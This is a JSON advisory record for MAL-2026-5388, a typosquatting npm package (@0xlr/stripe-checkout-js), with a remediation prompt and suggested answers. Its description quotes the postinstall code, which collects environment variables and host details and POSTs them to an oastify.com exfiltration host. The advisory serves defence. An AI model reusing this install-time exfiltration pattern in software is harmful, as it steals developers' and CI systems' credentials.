{"answers":{"affected":"1 open source package ship an affected version, including @0xlr/stripe-checkout-js.","exploited":"There is no known exploitation of MAL-2026-5388 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-5388 is a malicious package in @0xlr/stripe-checkout-js, published on 9 Jun 2026."},"fix_prompt":"MAL-2026-5388 is a malicious package: @0xlr/stripe-checkout-js (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5388/ (Markdown: https://insights.sbomify.com/MAL-2026-5388/index.md)","id":"MAL-2026-5388","markdown":"https://insights.sbomify.com/MAL-2026-5388/index.md","name":"MAL-2026-5388","record":{"aliases":["GHSA-3fr8-m4cc-93fj"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On `npm install`, postinstall.js enumerates the full process.env keyspace plus host identifiers (os.hostname(), username, homedir, cwd, argv, OS details) and POSTs the resulting JSON payload over HTTPS to `rytxau88zxh61dw6qz4yn19naeg54vsk.oastify.com` — a Burp Collaborator out-of-band subdomain used as attacker-controlled exfiltration infrastructure. The relevant code is `Object.keys(process.env).sort().forEach(k =\u003e { env[k] = process.env[k]; })` followed by `https.request({hostname: 'rytxau88zxh61dw6qz4yn19naeg54vsk.oastify.com', port: 443,..., method: 'POST'})`. On developer and CI hosts, process.env routinely contains credential-grade values (AWS_*, NPM_TOKEN, GITHUB_TOKEN, CI/CD secrets), all of which are captured and shipped off-host without consent. The package name typosquats the legitimate `stripe-checkout-js`, and the version (999.0.0) is consistent with a placeholder/squat release rather than a real maintained library.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @0xlr/stripe-checkout-js (npm)","id":"MAL-2026-5388","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"@0xlr/stripe-checkout-js","purl":"pkg:npm/%400xlr/stripe-checkout-js","source":"MAL-2026-5388"}],"products":null,"published":"2026-06-09","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5388/"}